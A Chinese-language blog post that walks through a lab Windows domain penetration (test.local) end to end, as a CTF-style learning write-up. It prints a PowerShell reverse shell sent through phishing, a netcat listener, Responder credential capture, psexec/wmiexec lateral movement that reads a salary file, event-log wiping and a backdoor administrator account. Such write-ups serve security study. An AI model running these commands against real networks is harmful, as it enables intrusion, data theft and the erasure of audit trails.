一、从新闻事件说起

有一次,我在浏览安全新闻时,看到一起关于企业网络被横扫的案件。这家公司因为内部一台域控服务器被攻陷,最终导致整个网络沦陷,所有员工的身份信息和客户资料被泄漏。虽然官方没有详细披露攻击细节,但这类事件往往是从域渗透攻击开始的。作为一个参加过多场CTF的安全技术爱好者,我对域环境的攻击很感兴趣,因为它不仅挑战技术能力,还需要深刻理解企业网络的运行机制。

今天,我想分享一次在实验环境中进行的完整Windows域渗透攻击,从信息收集到权限提升,再到横向移动和数据窃取,展示一个攻击者如何一步步掌控整个域环境。同时,所有的技术演示仅供授权测试和安全研究学习,切勿用于非法用途。

---

二、域渗透的攻击逻辑

在一次CTF比赛中,我发现很多关卡都涉及域环境的渗透。域渗透的核心目标是从普通用户的权限逐步提升到域管理员权限,并最终掌控整个域。为了实现这一目标,我们通常会遵循以下攻击逻辑:

  1. 信息收集:获取域内的关键信息,比如域名、用户账号、域控制器IP地址等。
  2. 初始 foothold(立足点):通过钓鱼或其他漏洞获取域内某台主机的权限。
  3. 权限提升:利用漏洞或工具将普通用户权限提升为域管理员权限。
  4. 横向移动:利用域内的信任关系在其他主机之间移动,扩大影响范围。
  5. 数据窃取与持久化:提取敏感数据并隐藏攻击痕迹以维持长期控制。

接下来,我们将以一个虚拟实验环境为例,完整展示以上过程。

---

三、搭建实验环境

为了还原一个真实的攻击场景,我搭建了一个简单的域环境,包含以下组件:

  • 域控制器:Windows Server 2019,域名为 test.local
  • 普通主机:Windows 10,加入域
  • 攻击机:Kali Linux,用于执行攻击

此外,我还需要一些工具,主要包括:

  • Impacket:一个强大的Python工具包,用于执行各种Windows协议攻击。
  • Responder:用于中间人攻击,捕获域内的认证数据。
  • BloodHound:一款图形化分析工具,帮助我们发现域内的权限提升路径。

如果你自己搭建环境,域控制器和普通主机可以用虚拟机实现,攻击机推荐使用最新的Kali Linux。

---

四、信息收集初步分析

攻击的第一步永远是信息收集。在域渗透的场景中,我们需要尽可能多地了解以下内容:

  1. 域名:比如 test.local
  2. 域用户账号:可以通过枚举或钓鱼获取
  3. 域控制器IP地址:通常使用DNS查询或ARP抓包找到
  4. 域内信任关系:比如哪些用户对哪些机器有权限

在实验环境中,我已经知道域名是 test.local,所以首先使用 Responder 工具进行信息捕获:

<pre><code class="language-bash"># Responder 用于监听域内的认证流量 sudo responder -I eth0 -rdw</code></pre>

这个工具会监听局域网内的网络流量,当某些机器尝试连接域控制器时,它可能会发送认证请求。通过 Responder,我们可以捕获这些请求并提取出用户名和哈希值。

然后,我用 Impacket 的 GetADUsers.py 工具枚举出了所有域用户账号:

<pre><code class="language-bash"># 枚举域用户账号,密码不用知道,只需要有访问权限 python3 GetADUsers.py test.local/username:password</code></pre>

运行后,得到了一些用户信息,比如:

<pre><code>Administrator JohnSmith HRManager Guest</code></pre>

这些信息在后续权限提升中会非常重要。

黑客示意图

---

黑客示意图

五、初始 foothold:钓鱼获取权限

黑客示意图

在信息收集阶段,我发现用户 JohnSmith 的账号很常见,应该是普通员工。接下来,我通过一次简单的社工钓鱼,诱导他运行我的恶意脚本(为演示安全性,这里仅模拟操作)。恶意脚本的代码如下,使用 Python 和 Powershell 构造:

<pre><code class="language-powershell"># Payload:反向连接到攻击机 $client = New-Object System.Net.Sockets.TCPClient(&quot;192.168.1.100&quot;,4444) $stream = $client.GetStream() [byte[]]$buffer = 0..255|%{0} while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){ ($data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $i)) -ne &#039;exit&#039; Invoke-Expression $data }</code></pre>

将代码保存为 .ps1 文件后,通过邮件诱导 JohnSmith 运行。成功运行后,我在攻击机上设置了监听:

<pre><code class="language-bash"># 使用 netcat 监听反向连接 nc -lvnp 4444</code></pre>

当目标运行脚本后,我获得了他的机器权限。这就是我的初始 foothold。

---

黑客示意图

六、权限提升:从普通用户到域管理员

在获得 JohnSmith 的权限后,我开始尝试权限提升。我首先检查他是否有特殊权限,比如管理域服务器。为了快速分析域内的权限关系,我使用 BloodHound 工具:

<pre><code class="language-bash"># 上传 BloodHound 数据收集脚本 python3 bloodhound-python -u JohnSmith -p password -d test.local -c All</code></pre>

收集数据后,我在 BloodHound 界面中发现了一条权限提升路径:JohnSmith 对一台文件服务器有写权限,而这台服务器的管理员账户可以访问域控制器。

于是,我利用 Impacket 的 psexec.py 工具在文件服务器上执行命令:

<pre><code class="language-bash"># 使用 psexec 登录文件服务器 python3 psexec.py test.local/Administrator:[email protected]</code></pre>

登录成功后,我提取了文件服务器管理员的认证令牌,再通过类似的方式登录域控制器,最终获得域管理员权限。

---

七、横向移动与数据窃取

有了域管理员权限后,横向移动就变得轻松了。通过 Impacket 的 wmiexec.py 工具,我可以在域内任意机器上执行命令:

<pre><code class="language-bash"># 执行命令窃取敏感数据 python3 wmiexec.py test.local/Administrator:[email protected] &quot;type C:\Users\HRManager\Documents\salary.xlsx&quot;</code></pre>

这样,我提取了域内的敏感文件,比如员工工资表、财务记录等。

---

八、痕迹清除与持久化

为了隐藏我的攻击,我清除了系统日志,并植入了一个持久化后门:

<pre><code class="language-bash"># 清除日志 wevtutil cl System wevtutil cl Security

持久化后门:创建隐秘用户

net user backdoor P@ssw0rd! /add net localgroup Administrators backdoor /add</code></pre>

这样,即使管理员发现攻击迹象,我也可以通过后门重新进入系统。

---

九、个人经验总结

完成这次实验后,我深刻感受到域渗透的复杂性和挑战。整个过程需要不仅需要技术能力,还需要耐心和细致的分析。以下是我的几点经验:

  1. 信息收集是关键:掌握域内的用户和机器信息是突破的第一步。
  2. 工具熟练使用:要熟悉各种工具,比如 Impacket、BloodHound 等。
  3. 权限提升路径分析:善于发现权限提升的漏洞或信任关系。
  4. 绕过检测:注意免杀和日志清理,以避免被发现。

希望这篇文章对大家理解域渗透攻击有所帮助,也欢迎大家在授权环境中实践学习。记住,安全研究的目的永远是保护系统,而不是破坏它。